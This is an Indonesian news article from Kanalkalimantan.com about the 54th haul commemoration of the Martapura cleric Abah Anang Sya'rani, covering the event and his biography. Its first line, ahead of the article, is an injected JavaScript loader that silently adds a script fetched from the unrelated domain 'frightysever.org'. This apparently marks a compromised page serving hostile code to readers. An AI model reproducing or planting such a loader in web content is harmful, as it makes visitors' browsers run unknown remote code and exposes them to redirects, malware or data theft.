(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Ribuan orang memadati puncak haul ke-54 KH Muhammad Sya’rani Arif atau yang lebih dikenal dengan panggilan Abah Anang Sya’rani, di Desa Melayu, Martapura Timur, Kabupaten Banjar, Kalimantan Selatan, Selasa (13/12/2022) malam.
Bupati Banjar H Saidi Mansyur beserta wakilnya Habib Idrus Al Habsyie pun berbaur dengan masyarakat, alim ulama, habaib dan tokoh masyarakat dalam kegiatan itu.
Haul yang digelar selepas Salat Isya itu diawali pembacaan surat Yasin, tahlil, kemudian lantunan syair maulid habsy.
Habib Achmad Jamal bin Thoha Baagil asal Kota Batu Malang, Jawa Timur dalam tausiahnya mengajak jemaah untuk meneladani pribadi dan jalan yang ditempuh Abah Anang Sya’rani dan kaum salihin lainnya.
Baca juga : Imbas Kenaikan BBM dan UMP 2023, Komunitas Driver Online Se-Kalsel Sambangi Dishub Usulkan Kenaikan Tarif
Menurut dia jalan yang mereka tempuh adalah jalan yang di ridhoi oleh Allah SWT dan rasulnya.
“Mereka adalah pewaris Nabi Muhammad SAW. Murabbi yang menunjukkan para murid jalan menuju keridhoan Allah SWT serta Rasulullah SAW,” katanya.
Dalam manaqib yang dibacakan salah satu cucu almarhum, Ustadz Itqon bin KH Khalilurrahman, Abah Anang Sya’rani merupakan ulama ahli hadits dan ahli tafsir yang ilmu-ilmunya didapatkan ketika menimba ilmu di kota Makkah dari ulama-ulama besar.
Di antaranya pamannya sendiri, yakni KH Kasyful Anwar, Sayid Muhammad Amin Kutbi, Syekh Umar Hamdan, Syekh Ali bin Abdullah Al Banjari serta Syekh Bakri Syatta.
Baca juga : Berebut Satu Tiket Piala Dunia 2022, Head to Head Ayam Jantan Bersua Singa Atlas
Setelah 22 tahun bermukim dan menuntut ilmu di Makkah, Abah Anang bersama sepupunya KH Syarwani Abdan pulang ke kampung halaman Martapura pada 1952.
Pada 1959 ia ditunjuk menggantikan KH Abdul Qadir Hasan menjadi pimpinan Ponpes Darussalam periode ke 5.
Di antara murid Abah Anang Sya’rani yang terkenal, yaitu KH Salim Ma’ruf, KH Mahfuz Amin Pemangkih serta KH Muhammad Zaini bin Abdul Gani.
Abah Anang wafat 14 Jumadil Awwal di tahun 1969 dalam usia 55 tahun, dan dimakamkan di Kampung Melayu Tengah, Kecamatan Martapura Timur. (Kanalkalimantan.com/dhani)
Reporter : dhani
Editor : kk
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kurang satu pekan menjelang hari pencoblosan Pilkada Serentak 2024, Komisi Pemilihan Umum… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah kios pedagang di pasar tradisional A Yani Banjarmasin hangus akibat kebakaran.… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel) melalui Direktorat Reserse Narkoba (Ditresnarkoba) gagalkan… Read More
This website uses cookies.